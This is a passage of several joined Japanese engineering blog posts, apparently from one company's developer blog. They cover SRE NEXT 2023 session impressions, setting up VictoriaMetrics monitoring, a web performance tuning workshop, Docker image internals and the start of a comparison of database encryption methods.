子会社でのSREチーム創設と現在までの歩みを紹介(やってきたこと、意識したこと、しくじり事例) 共有したい点、感想等 目指すべきSREチームとしての方向性が我らと同じだと感じた その上で実績を積み上げているので、先人のマインドとしてとても参考になった やっていくにあたり ・組織に変化を起こすのは常に1人の行動から ・小さく始める  ・重要なところから  ・条件的にやりやすいところから ・満点は不可能 ・人が関わる以上、タイミングが必要な場合もある。準備をしながら機会を伺う  ・正論はときに人を傷つける 意識したこと ・意思決定者へ目指す方向を共有する ・説明よりも動くものを用意する  ・有益なものであれば乗ってくる ・コミュニケーション  ・オープンに話せる場を作っておく  ・同じ目標を持つ状況を作り出し、協力する   ・障害対応や有事の取り組みには、積極的に参加する   ・同じ目的・目標に向かって進む機会を増やす   ・短期的であればヒーロー的行動は効果的  ・結局は信頼関係が大事。相手の役に立つ事を積み上げる 今後実施/挑戦したいこと 成果物のデモ会の実施 不定 期のラジオをSRE課が主体となって開催 開発チームの領域でも、手を動かす部分を臆せず巻き取れるようになりたい 全体を通しての感想 上記のセッション以外にも参考になったセッションがたくさんあった 特に リクルートの近藤さんのセッション では開発チームを巻き込むSRE活動を紹介してくれていたので、真似できることはやりたい バカンス中もプールサイドでコーディングする課長Mの感想 勘に頼らず原因を見つけるためのオブザーバビリティ セッション紹介ページ speakerdeck.com セッション概要 オブザーバビリティの導入によってトラブルシュートの属人化を改善した事例を紹介 共有したい点、感想等 オブザーバビリティの基本をしっかりと解説しておりそもそもの概念が理解しやすい トラブルシュートでは特定メンバー頼りになりがちだが、個人の勘ではなくデータを元に対応可能な状態を目指すという考えはどこの会社でも今後必要になっていくものと考える 今後実施/挑戦したいこと コンテナ化が目下の目標だがオブザーバビリティ基盤の構築もしっかりと進めていきたい そもそも基盤があれば解決するものではなく、全エンジニアがオブザーバビリティの必要性を正しく認識する必要がある、そのための啓蒙活動は進めたい 全体を通しての感想 競合他社と比較して自社の立ち位置を客観視出来たのは良かった 現状を改善するための取り組みをしっかりと進めたいと思う 最近肩凝りに苦しむパパさんエンジニアIの感想 Warningアラートを放置しない!アラート駆動でログやメトリックを自動収集する仕組みによる恩恵 セッション紹介ページ speakerdeck.com セッション概要 本来アラートは「人間が即座にアクションを起こす」もの。 Warningは「これから重要な問題がおきそう」という扱いだが、 現実的に Slackにひっそりと流されてたりして、実際には「人間の行動が起きない」しかも「結構な数が出る」 → 結果、オオカミ少年と化し、役に立たなくなる。 そしてハインリッヒの法則に従い、一定の潜伏期間を経て大爆発する アラートの調査=人力=トイルが含まれる可能性が高い 「Warningアラートの調査はトイルになりがち」  アラート発生  →WebHook  →危ないかどうかの初期判断情報を集めるAPPを作ってみたら良かった! 共有したい点、感想等 「Warningはトイルです」と言われ、確かに!と思った。 ラク スと状況が似ているし、インフラ出身なので、「コレは使える!」とピンと来る感じがあった 今後実施/挑戦したいこと オブザーバビリティの導入 ページャのモダナイズ ChatOpsに寄せていきたい Runbookは脱 Excel をして GitHub に アラート時にAPPから引張りやすく そもそもRunbook自体を減らしていく活動(自動化) GitHub に寄せることでRunbookの管理状況を可視化 誰がどれだけメンテしている? 減っている?増えてしまっている? サービス毎に特性がある?お手本にすべきサービスは・・等 全体を通しての感想 開発の決済者(マネジメント層)もぜひ視聴してほしいイベントだった 他社と比較し、"検討" や "課題感" ではなくとりあえず "実践" してみないと、と感じた Google の山口さんも言っていたが、 SRE NEXT 2021で各社起案していたものが2023では実践レベルに 他社と比較すると、意思決定が遅い気がする 組織全体のマインドを変えないと、他社との差がより開いてしまう オブザーバビリティを導入したいという想いがより強くなった ビジネスの可視化は当然これの先にある、予測に基づいた設計をしていかないと 可観測性が低いことが一因となって意思決定のスピードも遅くなっているのでは k8s のアップデート戦略等、モダナイズの設計や方向性は他社とあまり外れておらず一安心 ビールと肉を愛する姉御エンジニアIの感想 開発者とともに作る Site Reliability Engineering セッション紹介ページ speakerdeck.com セッション概要 SREを開発者と”ともに”実現するための事例紹介 かつてはSREがやることはSREだけで決めていたが、それが本当に必要な作業だったのか?という疑問から行動を変えた 開発者からFBを得ることに注力し、以下に取り組む サーベイ の実施、取り組みの共有、チームに入る 上記は組織マネジメントを狙って実施したものだったが、結果話す場のデザインを行ったことによりふりかえりや挑戦/サポートの文化が定着した 共有したい点、感想等 開発チーム向けの サーベイ の実施や、進めているPJの共有等、取り組んでいるものがおおよそ(正解は別にないけど)同じだったので自信になった 困っている人の声が集まる状態にして、さくっと助けてあげる感じの文化がとてもよい(まさに信頼貯金) 開発チームへの期待値を明示して、開発チーム自身がやりたいと思っていることは支援をしてあげるという立ち位置もよき 「ここからここまでしかやらない」という線引きじゃないところがよき 開発チーム⇄SREの留学も行われてるそうで、お互いのプロセスを体験するのもよい取り組み マネージャーも兼務するらしい 総じてエモかった 今後実施/挑戦したいこと SREのロードマップにある「文化醸成」は地道な種まき(仕掛け)と関係構築の賜物だと思うので、モダナイズやトイル削減といった具体的なものを進めつつ、広く信頼関係を構築していきたい 開発組織に仲間を見つける 全体を通しての感想 SREイベントに参加したの初めてだったので、そもそもの心構え的なものが学べて豊作 ポジション的なところもあって、狙って組織作りのセッションを選んでたけど、どの組織も課題は同じっぽかった 結論SREは 総合格闘技 だし何より信頼関係の構築=対話が大事 マウンテンデュー ばっかり飲んでる新米CKAのSの感想 QAと共に築く、機能性を通じた信頼性担保への取り組み セッション紹介ページ speakerdeck.com セッション概要 新規プロジェクトに携わる中でQAチームと協力し、機能性を担保するためにSREとしてどのように関わり、信頼性向上に取り組んだか 共有したい点、感想等 コミュニケーションとコラボレーションが大切 信頼性の担保と同じくらいコミュニケーションとコラボレーションは大切 必要性があれば仕組み作りが大切 結局は日々のちょっとしたコミュニケーションの継続がコラボレーションにつながる 印象に残った取り組み チームの学習機会を奪わないよう、アド バイス は行うが具体的な例までは提示しない タスクの インパク トが低いものについては爆速で解決することを心がけることによって信頼貯金を増やした 今後実施/挑戦したいこと 社内のイベント等に参加してコラボレーションを増やしていきたい 些細な手助けを心がけて信頼貯金を貯めていきたい もちろん手助けするには知識も必要なため継続的に学習する もっとフランクにコミュニケーションを取っていきたい 全体を通しての感想 基調講演の「信頼性は会話です」が響いた 普段から会話していない人と信頼関係は築かないよなと感じた 総括 以上、『SRE NEXT 2023』に参加したメンバーの 感想戦 の内容をご紹介しました。 セッションを聴いただけではなく、同じ熱量を感じた状態でチームメンバーと感想を共有し合えた点は組織としてよい刺激になったと思います。 ラク スのSRE文化はまだまだ発展途上ですが、他社の皆さまがこれまで取り組まれてきた事例を聞いて、自分たちの進むべき方向性や価値観を再確認できたのはとても大きな収穫でした。 わたし個人としてはオフラインでのイベント参加がコロナ以降初めてだったので、会場の雰囲気を久しぶりに生で味わえてとてもよい機会になりました。(イベントの醍醐味はやはり懇親会!!) スタッフの皆さま、登壇者の皆さま、企画運営本当にお疲れ様でした。そしてありがとうございました! 最後に、唯一撮っていた懇親会のお寿司の写真を添えておきます。 来年のSRE NEXTも今から楽しみですね!
アバター
顔の濃さが唯一の アイデンティティ のインフラエンジニア、m_yamaです。15カ月ぶり2度目の登場です。 去年、 ラク スで先行技術検証を行っている「技術推進プロジェクト」で取り組んだ「スケーラブルな監視システム」について、1年たっぷり寝かせた熟成リリースとなります。お目汚し失礼いたします。 VictoriaMetricsとは? VictoriaMetricsのメリット・デメリット VictoriaMetricsのメリット VictoriaMetricsのデメリット VictoriaMetricsの導入方法 1. VictoriaMetricsの構築 2. 監視対象にexporterをインストール 3. vmagentのセットアップ VictoriaMetricsの活用事例 コロプラ(colopl)の場合 Adidasの場合 CyberAgentの場合 VictoriaMetricsでログは見れないの? まとめ VictoriaMetricsとは? VictoriaMetricsは、 オープンソース の時系列データベースと監視ソリューションです。 Prometheusと互換性があり、設定ファイルをそのまま使えたりもするので、プロメテウサーは違和感なく利用できるはず。 ちょっと強い表現になってしまいますが、個人的には Prometheus上位互換 の OSS 監視ツール 、と感じています。 そんなVictoriaMetricsには、2つのバージョンがあります。 single nodeバージョン clusterバージョン ざっくり主要な機能をまとめてみました。以下のグレーバックの コンポーネント をまとめたのがsingle nodeバージョン、分割したのがclusterバージョンになります。 (他にもalertやproxyなどの便利そうな コンポーネント がいくつかあります) clusterバージョンはマイクロサービスで ナウい のでこちらの方が良さそうですが、公式としては 100万データポイント/秒以下 ならsingle nodeバージョンを勧めています。 It is recommended to use the single-node version instead of the cluster version for ingestion rates lower than a million data points per second. https://docs.victoriametrics.com/Cluster-VictoriaMetrics.html 一般的なnode_exporterの場合、1サーバで700メトリクスとちょっとあったので(※)、デフォルトの収集間隔の1分をもとにざっくり単純計算すると、監視対象が7万台ぐらいならsingle nodeバージョンで良さそうです。 ※ AmazonLinux2023の場合 1,000,000(メトリクス/秒) / 800(メトリクス/サーバ) = 1,250(サーバ/秒) 1,250(サーバ/秒) * 60(秒) = 75,000(サーバ/分) もちろんそんなバランスよくタイミングをずらしてデータ収集できるわけはないので要検証ですが、 冗長化 すればかなりの台数を監視できそうではあります。 VictoriaMetricsのメリット・デメリット VictoriaMetricsのメリット Prometheusと互換性がある Grafanaから見る分には違いはない データ圧縮効率が高く、長期保存に向いている TimescaleDBと比べて最大70倍 Prometheusと比べて最大7倍 Prometheusで1TBのデータが120GBまで減ったとの記事もあり (clusterバージョンの場合) コンポーネント がわかれておりスケーラビリティに優れる スケールアウト・インが可能 vmselect: 読み込み。複数人がたくさんのグラフを一度に取得しようとしたときにスケールアウトすればスムーズに読み込まれる(はず) vminsert: 書き込み。監視対象が増えて監視データが増えても手動で追加する必要なし スケールアウトのみ可能 vmstorage: データ保存。重いクエリがたくさん来てもスケールアウトすればスムーズな処理ができる。はず。 ※スケールインはデータロストを伴うので、計画的な拡張が必要 (clusterバージョンの場合) マルチテナントをサポート 複数システムの一元管理もしやすい VictoriaMetricsのデメリット 日本語での導入事例が(Prometheusよりも)少ない コンポーネント が多くやや複雑 ※デメリットに関してはあまり情報を見つけられず、推しが強めな内容になってしまっています。。 みなさんが検証する時に、ダメな点をぜひ教えてください(他力本願) VictoriaMetricsの導入方法 VictoriaMetricsで監視を始めるには、やることが3つあります。 VictoriaMetricsそのものの構築 監視対象にexporterをインストール vmagentのセットアップ ここではシンプルなsingle nodeバージョンで話を進めます。 1. VictoriaMetricsの構築 single nodeバージョンのVictoriaMetricsは1バイナリで動くので、 github からダウンロードして実行するだけで起動します。 # ダウンロード curl -sLO https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/v1.94.0/victoria-metrics-linux-amd64-v1.94.0.tar.gz # 解凍 tar xzf victoria-metrics-linux-amd64-v1.94.0.tar.gz # 実行 ./victoria-metrics-prod -storageDataPath=/path/to/data -retentionPeriod=1y こんだけ。わー簡単。(本番運用するならサービス化とかログとか必要だけども) 起動オプション はいろいろありますが、公式曰く、基本的にデフォルト値を使えば十分、とのことです。助かる。 また公式で ansibleのplaybook も用意されているので、clusterバージョンで複数台のnodeを使う場合は、こちらをベースにコード化しておくと楽そうです。 さらにさらに、各 コンポーネント には公式の docker image もあるので、 k8s とかECS Fargateでも監視 クラスタ ーを構築できそう。EFSをマウントしてデータをそこに入れれば、ほったらかしサーバレス監視システムができそう?やってみたい人生だった。 2. 監視対象にexporterをインストール 監視対象のサーバには、目的に合ったexporter(node_exporter、postgres-exporterなど)をインストールする必要があります。 手順(というにはシンプルすぎるけど)は以下の通り。 curl -sLO https://github.com/prometheus/node_exporter/releases/download/v1.6.1/node_exporter-1.6.1.linux-amd64.tar.gz ./node_exporter-1.6.1.linux-amd64/node_exporter & こんだけ。わー簡(以下略) その後、 {サーバのIP or ホスト名}:{exporterのポート}/metrics にアクセスすると以下のようなデータが取得できます。 # node_exporterの場合 [ec2-user@hoge-server ~]$ curl -s localhost:9100/metrics | head # HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles. # TYPE go_gc_duration_seconds summary go_gc_duration_seconds{quantile="0"} 3.1403e-05 go_gc_duration_seconds{quantile="0.25"} 3.1403e-05 go_gc_duration_seconds{quantile="0.5"} 3.1403e-05 go_gc_duration_seconds{quantile="0.75"} 3.1403e-05 go_gc_duration_seconds{quantile="1"} 3.1403e-05 go_gc_duration_seconds_sum 3.1403e-05 go_gc_duration_seconds_count 1 ※基本的なメトリクスの取得に使われるnode_exporterでは、CPUやメモリなど700ちょっとのメトリクスをリアルタイムで取得できました。 そのメトリクスを、vmagent(後述)が定期的に取得しにくるので、監視対象でやることはexporterを起動しておくだけ。簡単。 exporterも監視対象に個別にインストールとかだと白目剥いちゃうので、ansibleでコード化しておきたいですね。 3. vmagentのセットアップ 監視サーバと監視対象サーバの準備ができたら、監視対象サーバから上記のメトリクスを取得してVictoriaMetricsに投げるやつが必要です。それがこのvmagentです。 さっきとほぼ同じなので書くほどでもないのですが、一応導入手順を書いておきます。 (vmagentはvmutils-*に含まれる複数のバイナリのうちの一つです) curl -sLO https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/v1.94.0/vmutils-linux-amd64-v1.94.0.tar.gz tar xvf vmutils-linux-amd64-v1.94.0.tar.gz ./vmagent-prod -promscrape.config=/path/to/prometheus.yml -remoteWrite.url=https://{victoria-metrics}/api/v1/write こ(以下略) configには監視対象や設定を記載します。詳しくはPrometheusのconfigurationを。 prometheus.io 調べると、vmagentではなくPrometheusを使っている事例が多いのですが、Prometheusに比べてvmagentの方がメモリやCPU、ディスクIO、ネットワーク 帯域幅 を抑えることができるそうです。 すでにPrometheusを使っていてvmagentに乗り換える場合は、Prometheusの設定ファイルを使えるので移行も簡単。(Prometheus単独で使ってきた場合、設定ファイルにremote_write.urlでVictoriaMetricsを指定する必要はあります) VictoriaMetricsの活用事例 コロプラ (colopl)の場合 累計データポイントが1,500億以上の k8s クラスタ ーの監視にVictoriaMetricsを利用しているそうです。Prometheusではスケールアップしても耐えきれなかった 負荷試験 を、VictoriaMetricsでは安定してクリアできたとのこと。 (4年前の情報なので、さらに進化を遂げていそう) [Prometheus Meetup#3] Victoria Metricsで作りあげる大規模・超負荷システムモニタリング基盤 / Monitoring Platform With Victoria Metrics - Speaker Deck Adidas の場合 事例というよりPromCon2019(Prometheusに関連するカンファレンス)で紹介されたPoC的な内容のようですが、Prometheusのリモートストレージとしても検討される時系列DBのInfluxDBやThanosと比較して、圧倒的にリソース消費量が少ないことがわかります。 https://promcon.io/2019-munich/slides/remote-write-storage-wars.pdf CyberAgent の場合 2020年時点で、30以上の Kubernetes クラスタ を横断監視しているとのこと。プロダクトの増加による追加コストを抑えられている、というのは、Prometheusのサービスディスカバリとか省エネなリソース消費的な話かな? (新卒で入社後半年でこの内容はすごい。。) VictoriaMetrics+Prometheusで構築する複数Kubernetesの監視基盤 - Speaker Deck FIFA ワールド カップ カタール 2022の監視にも導入されていた模様。 GMP ( Google Managed Prometheus)のサブ的な使い方? 大規模イベントを支えるクラウドアーキテクチャの実現 / ABEMA Cloud Platform Architecture for Large-scale Events - Speaker Deck VictoriaMetricsでログは見れないの? これまでは名前の通り、メトリクスに特化した監視システムで、ログを見る場合はElasticsearchやGrafana Lokiなどを利用する必要がありました。が、2023/7にvictorialogsがプレビューリリース(v0.1.0)され、ログまでまとめて管理できるようになりそうです。(2023/10/13点でv0.4.1が最新) 公式によると、victorialogsは、ElasticsearchやGrafana Lokiと比べて、最大で30倍のデータを処理できる、とのことです。すごい。 現在携わっている blastmail , blastengine (宣伝)でも、Elasticsearchのログやindexが肥大化してあっぷあっぷなので、こういった新しいツールも上手く活用できればいいなあ、というお気持ちです。 まとめ OSS 監視のVictoriaMetricsについてまとめました。 SaaS の監視システムの料金が無視できなくなってきたらぜひ検討してみてください。
アバター
こんにちは、あるいはこんばんは。だいたいサーバサイドのエンジニアの( @taclose )です☆ みなさん、この本を読んだ事ありますか?? 達人が教えるWebパフォーマンスチューニング 〜ISUCONから学ぶ高速化の実践 ISUCONをテーマとしながらWebパフォーマンスの改善の進め方を解説した本で、改善するなら一度は読む事をお勧めします! とはいっても、いざWebパフォーマンス改善をしようと思っても中々糸口が掴めなくて難しいんですよね! 数学でいうなら、練習問題は見たけど、いざ演習やると解法がわからないっていう感じでしょうか(汗 そこで、 TDDハンズオン に引き続き、 弊社ではWebパフォーマンス改善ハンズオンを実施 しました! 今回はそんな ハンズオン開催を行った際のスライド資料や結果、考察をまとめて公開 しようと思います。 対象読者は以下を想定 WEBパフォーマンス改善のハンズオンをわが社でも開催するぞ! WEBパフォーマンス改善について学びたい! では、本題に入ろうと思います。 WEBパフォーマンス改善ハンズオン スケジュール スライドはこちら 学習結果(効果測定と気づき) 反省点・感想 時間が全然足りてない! 経験の少ない人にはどこから取り掛かればよいのか、難しい 最後に 参考資料等 WEBパフォーマンス改善ハンズオン 基本的な流れは、先ほどご紹介した書籍にある private-isu というものを使って擬似的な SNS サービスのパフォーマンス改善を行うといったものです。 これを2日間に分けて座学とハンズオンを合計3時間〜4時間かけて実施しました。 github.com スケジュール 1日目はこのあとに記載しているスライドをみれば詳細がわかりますが、座学としてパフォーマンス改善の方法をレクチャーします。 具体的なチューニング方法がこんなのあるよ!ではなく、 計測→ ボトルネック を見つける→ ボトルネック を解決する→効果測定という流れを経験してもらいました 。 2日目は ボトルネック を見つけて、改善方法を悩んでもらいつつ、ヒントを出しつつハンズオンを実施してもらいました。 スライドはこちら 実際のスライドは以下になります。もし良かったら皆様の会社で、または個人でハンズオンされる際に参考にしてください。 ※コマンドをコピーしたい場合はPDFとしてダウンロードしてくださいね! 学習結果(効果測定と気づき) 最初数百点だったスコアですが、3万点近くまで改善したチームがいました! 1時間足らずでこの結果はすごいですね! いくつかのチームに感想や改善の流れがどうだったかを聞いてみたところ どこが遅いのかわかっても、改善方法がわからなかった アプリ側の ソースコード の修正は苦労した 使い慣れない ミドルウェア のチューニングに苦労し時間切れとなった などなど... 反省点・感想 最初は1時間半x2日を予定していたハンズオンでしたが、みんな自主的に延長して合計4時間近くの開催となりました。 アンケートでも好評だったようで、これはまた来年もやっていいんじゃないかと思えました。 反省すべき点としては、以下のようなところがありました。 時間が全然足りてない! 今回のハンズオンでは大前提としてチームの中で誰かしらは「nginxの設定は出来る。」「 mysql のINDEXを張るコツを知っている」「ある程度はどこを修正すべきか勘所を知っている」そんな前提がある内容だったため、ハンズオン以前の所で時間を消費してしまったチームも発生してしまいました。(運営側の反省すべき点) せっかく ボトルネック がどこかわかっても、どうアプローチすれば良いのかが判断付かず、悠長に調べる時間がなかったようで...申し訳ないOrz 他にも「土日使ってやりたかった」とかの意見もありました。私も確かにもっと時間欲しかった!(切実) とはいえ、アプリも改修して、キャッシュの有効化までトライしているチームもあり、経験者がいるかどうかの差はでかかったようです! みんなも次は色々な改善方法を学んで是非リベンジしてほしいと思います! 経験の少ない人にはどこから取り掛かればよいのか、難しい ヒント出し過ぎても面白くないのかなとアタフタしてたのですが、アンケート結果からすると 難易度が高すぎた と感じました。 ハンズオンの時間は運営側が声かけするのも良いのですが、手が回らないと思います。 なので、 時間経過毎に「こう計測すると ボトルネック わかります。疑わしい所はここなのでコード読んでみましょう。このbreak臭いますね」と計測~改善までの流れを公開していく スタイルが良かったのではないかと思いました。 最後に パフォーマンス改善は基本的には トップダウン 方式(正攻法を適応していく)よりも ボトムアップ 方式(遅い場所を直す)が良い と言われており、それは間違いありません。 でも、 ボトムアップ 方式でやる時に改善方法の知識の引き出しが少ないと改善効果の割に内部品質ばかりが下がるような最悪の事態にもなり兼ねません。 そういう意味では、 ボトルネック な部分では一体何が行われていて、そこを回避する方法はどういったものがあるのか を日々学習していく事が重要になってきます。 最後になりますが、private-isuはDocker版もあります。 参考資料のURL一覧に eichisanden さんの「 private-isuをdockerでセットアップした時のメモ 」等貼っておきますので、是非参考にしながらみなさんもトライしてみてください! ハンズオンみんなお疲れ様でした! ハンズオンの様子(東京・大阪) 参考資料等 書籍:達人が教えるWebパフォーマンスチューニング 〜ISUCONから学ぶ高速化の実践 private-isu/manual.md at master · catatsuy/private-isu · GitHub private-isuをdockerでセットアップした時のメモ private-isuをdockerでやってみた時のメモ
アバター
はじめに こんにちは、開発課に所属している新卒 1 年目のke-suke0215です。 Dockerのイメージについて「なんとなく業務で使っているけど、いまいちどうなっているのかわかっていない」という状態だったので、今回はDockerイメージの中身がどのように構成されているのかについて調べてみました。 私のようなDockerをなんとなく使っている方が仕組みを理解する手助けになれば幸いです。 はじめに Dockerイメージの構成要素 そもそもDockerイメージとは Dockerイメージの中身を見る 1. イメージをビルドする 2. イメージをtarファイルとして保存する 3. tarファイルを展開する ハッシュ名のディレクトリ ハッシュ名のJSONファイル manifest.json repositories レイヤーについて 2つのDockerfileからレイヤー構造を理解する まとめ 参考文献 Dockerイメージの構成要素 そもそもDockerイメージとは Dockerイメージは、アプリケーションの実行に必要な情報をまとめたパッケージです。これらのイメージはコンテナ実行の土台となっています。ポータビリティの高さやホストOSから環境を分離できるなどの利点があります。 Dockerイメージの中身を見る ここでは以下のDockerfileをビルドしたDockerイメージの中身を見ていきます。 FROM ubuntu:latest 最新の ubuntu のイメージをベースにするだけの簡単なものです。 中身を見る手順は以下になります。 各コマンドの説明は省略させていただきます。 1. イメージをビルドする 今回は my-ubuntu という名前のイメージでタグは 1.0 としてビルドします。 docker build -t my-ubuntu:1. 0 . 2. イメージをtarファイルとして保存する docker save コマンドを使ってtarファイルにします。 docker save -o my-ubuntu-1. 0 .tar my-ubuntu:1. 0 3. tarファイルを展開する 保存したtarファイルを展開して中身を見れるようにします。 tar xf my-ubuntu-1. 0 .tar これでdockerイメージの中身がどのようになっているのか確認できるようになりました。 どのようなものがあるのか確認してみます。 $ ls 0cf20f556e5f1e2fd508acc18bc53e95974c37b6c7304b6cdcbd5bb1bb52df40 e8b8228e36aef7aaaacedf7b10514683933b62424e35956c02e5659aefbcf3bd.json manifest.json my-ubuntu-1. 0 .tar repositories my-ubuntu-1.0.tar は展開元のファイルなので、それ以外について詳しく見ていきます。 ハッシュ名の ディレクト リ 0cf20f556e5~~~ です。これはイメージを構成する上で核となっているレイヤーと呼ばれるものです。レイヤーについての詳しい説明は後述します。各レイヤーはユニークな ハッシュ値 によって識別されています。各 ディレクト リにはそのレイヤーの内容と関連する メタデータ が格納されます。 ハッシュ名の JSON ファイル e8b8228e36a~~~.json です。中身は以下のようになっています。 { " architecture ": " amd64 ", " config ": { " Env ": [ " PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin " ] , " Cmd ": [ " /bin/bash " ] , " Labels ": { " org.opencontainers.image.ref.name ": " ubuntu ", " org.opencontainers.image.version ": " 22.04 " } , " OnBuild ": null } , " created ": " 2023-06-28T08:37:42.319109064Z ", " history ": [ { " created ": " 2023-06-28T08:37:40.107416121Z ", " created_by ": " /bin/sh -c #(nop) ARG RELEASE ", " empty_layer ": true } , { " created ": " 2023-06-28T08:37:40.172787047Z ", " created_by ": " /bin/sh -c #(nop) ARG LAUNCHPAD_BUILD_ARCH ", " empty_layer ": true } , { " created ": " 2023-06-28T08:37:40.235648065Z ", " created_by ": " /bin/sh -c #(nop) LABEL org.opencontainers.image.ref.name=ubuntu ", " empty_layer ": true } , { " created ": " 2023-06-28T08:37:40.292202878Z ", " created_by ": " /bin/sh -c #(nop) LABEL org.opencontainers.image.version=22.04 ", " empty_layer ": true } , { " created ": " 2023-06-28T08:37:42.055763636Z ", " created_by ": " /bin/sh -c #(nop) ADD file:140fb5108b4a2861b5718ad03b4a5174bba03589ea8d4c053e6a0b282f439ff3 in / " } , { " created ": " 2023-06-28T08:37:42.319109064Z ", " created_by ": " /bin/sh -c #(nop) CMD [ \" /bin/bash \" ] ", " empty_layer ": true } ] , " moby.buildkit.buildinfo.v1 ": " eyJmcm9udGVuZCI6ImRvY2tlcmZpbGUudjAiLCJhdHRycyI6eyJmaWxlbmFtZSI6IkRvY2tlcmZpbGUifSwic291cmNlcyI6W3sidHlwZSI6ImRvY2tlci1pbWFnZSIsInJlZiI6ImRvY2tlci5pby9saWJyYXJ5L3VidW50dTpsYXRlc3QiLCJwaW4iOiJzaGEyNTY6MGJjZWQ0N2ZmZmEzMzYxYWZhOTgxODU0ZmNhYmNkNDU3N2NkNDNjZWJiYjgwOGNlYTJiMWYzM2EzZGQ3ZjUwOCJ9XX0= ", " os ": " linux ", " rootfs ": { " type ": " layers ", " diff_ids ": [ " sha256:59c56aee1fb4dbaeb334aef06088b49902105d1ea0c15a9e5a2a9ce560fa4c5d " ] } } この json ファイルにはイメージの メタデータ などが記述されています。また、Dockerfileの記述の中でレイヤーにならないものの情報も入っています。レイヤーにならない記述は CMD , ENTRYPOINT , ENV などがあります。 また、イメージの情報を出力すると以下のようになります。 docker image ls REPOSITORY TAG IMAGE ID CREATED SIZE my-ubuntu 1 . 0 e8b8228e36ae 1 days ago 77 .8MB IMAGE ID がこのファイル名と一致していることがわかります。なのでハッシュ名の JSON ファイルはdockerイメージのidにもなっているのです。 manifest. json このファイルの中身は以下の通りです。 [ { " Config ": " e8b8228e36aef7aaaacedf7b10514683933b62424e35956c02e5659aefbcf3bd.json ", " RepoTags ": [ " my-ubuntu:1.0 " ] , " Layers ": [ " 0cf20f556e5f1e2fd508acc18bc53e95974c37b6c7304b6cdcbd5bb1bb52df40/layer.tar " ] } ] manifest.json はDockerイメージの中核となるファイルの一つです。 各記述はそれぞれ以下を指しています。 Config :ハッシュ名の JSON ファイル RepoTags :イメージ名とタグ Layers :使用しているレイヤー このことから manifest.json はこのdockerイメージの設計図のような役割を果たしていると言えそうです。 repositories repositories はの中身は以下のようになっています。 { " my-ubuntu ": { " 1.0 ": " 0cf20f556e5f1e2fd508acc18bc53e95974c37b6c7304b6cdcbd5bb1bb52df40 " } } イメージ名とタグとをハッシュに マッピング することで、具体的なイメージのバージョンや名前を特定する役割を果たします。 レイヤーについて さきほど少し触れましたが、dockerイメージはいくつかの層(レイヤー)で成り立っています。基本的にDockerfileの記述ごとに1つまたは複数のレイヤーが作成されます。( ハッシュ名のJSONファイル の部分でも触れたように、一部レイヤーにならない記述もあります。) レイヤー構成の何がいいかというと、差分のみのレイヤーを作成することでディスクスペースを節約できることです。具体的に見ていきましょう。 2つのDockerfileからレイヤー構造を理解する まず FROM と RUN の記述がある下のようなDockerfile(Dockerfile①とする)からイメージを作成してみます。 FROM ubuntu:latest RUN apt-get update すると以下のレイヤーが作成されます。 FROM ubuntu:latest に基づいて生成されたレイヤー(レイヤーA) RUN apt-get update に基づいて生成されたレイヤー(レイヤーB) 次に下のような FROM と COPY の記述があるDockerfile(Dockerfile②とする)からイメージを作成します。 FROM ubuntu:latest COPY sample.txt /tmp このとき、生成されるのは以下のレイヤーです。 COPY sample.txt /tmp に基づいて生成されたレイヤー(レイヤーC) Dockerfile①と同じ記述である FROM ubuntu:latest のレイヤーは作成されず、すでにあるレイヤーAを使ってイメージを構成します。なのでDockerfile②から生成されるイメージはレイヤーAとレイヤーCからできています。 不足しているレイヤーのみを作成してイメージを生成するため、無駄なレイヤーを増やさずディスク容量を節約できるのです。 まとめ Dockerイメージの内部構成について見てきました。興味がある方の参考になれば幸いです。最後までお読みいただきありがとうございました。 参考文献 Dockerコンテナのレイヤ構造とは? コンテナの作り方
アバター
こんにちは。 株式会社 ラク スで先行技術検証をしたり、ビジネス部門向けに技術情報を提供する取り組みを行っている「技術推進課」という部署に所属している鈴木( @moomooya )です。 ラク スの開発部ではこれまで社内で利用していなかった技術要素を自社の開発に適合するか検証し、ビジネス要求に対して迅速に応えられるようにそなえる 「技術推進プロジェクト」 というプロジェクトがあります。 このプロジェクトで「DBセキュリティ」にまつわる検証を進めているので、その中間報告を共有しようかと思います。 本記事における「DBセキュリティ」とは カバーする範囲 カバーしない範囲 DB暗号化方式は大きく分けて3つ OS機能によるディスク暗号化 DB機能による暗号化(透過的暗号化) アプリケーションによる暗号化 「アプリケーションによる暗号化」が最も強いなら DB暗号化を導入する際の懸念点 最大の懸念は性能面 検証する環境や条件 検証環境 検証内容 次回予告 参考 本記事における「DBセキュリティ」とは カバーする範囲 本稿で扱う「DBセキュリティ」については入室管理、アカウント管理、権限管理、データ暗号化、アクセス監視といった部分を対象とし、中でも技術的な検証が必要になるデータ暗号化について検証を進めていきます。 これらは 個人情報の保護に関する法律についてのガイドライン(通則編) にて 10-6 技術的安全管理措置 として記述されています。 カバーしない範囲 「DBセキュリティ」の範囲として定義した通り、 ウェブアプリケーション 経由のセキュリティは扱いません 。 なので DBMS への通常アクセスによるセキュリティに関しては対象外とします。 DB暗号化方式は大きく分けて3つ 暗号化の強度としては以下の ディスク暗号化 透過的暗号化 アプリケーションでの暗号化 の順に強くなっていきます。 OS機能によるディスク暗号化 こちらはDB内のデータを暗号化するのではなく、DBのデータを保持しているディスク自体を暗号化するものになります。 こちらはOSレベルで提供される機能を用いてディスクの暗号化を行います。 ディスク暗号化ではDBサーバーからのディスク窃取への対策となります。一方、DBサーバーのOSにログインを許してしまうと暗号化の効果はありません。 弊社では RHEL 系OSの利用が多いので、今回の検証では LUKS を用いる予定です。 DB機能による暗号化(透過的暗号化) DBMS 自体もしくは、 DBMS への プラグイン によってDB内にデータ格納時に暗号化する方式です。 透過的暗号化方式(TDE)が該当します。 透過的暗号化ではディスク窃取に加えて、 DBMS が書き込むデータファイルの窃取にも対応します。ただし、 DBMS 自体へのログインを許すと復号されたデータが閲覧可能になってしまいます。 弊社では PostgreSQL を利用することが多いのですが、 PostgreSQL には標準で組み込まれた透過的暗号化機能はありません。そのため、 NEC 製の Transparent Data Encryption for PostgreSQL (TDEforPG) を PostgreSQL に組み込んで利用する予定です 1 。 アプリケーションによる暗号化 こちらはアプリケーションの機能として暗号化処理を実装する形式になります。そのためDBに渡されるのはすでに暗号化したデータであり、使用するDBに左右されない方式となります。 アプリケーションで暗号化した場合には、 DBMS 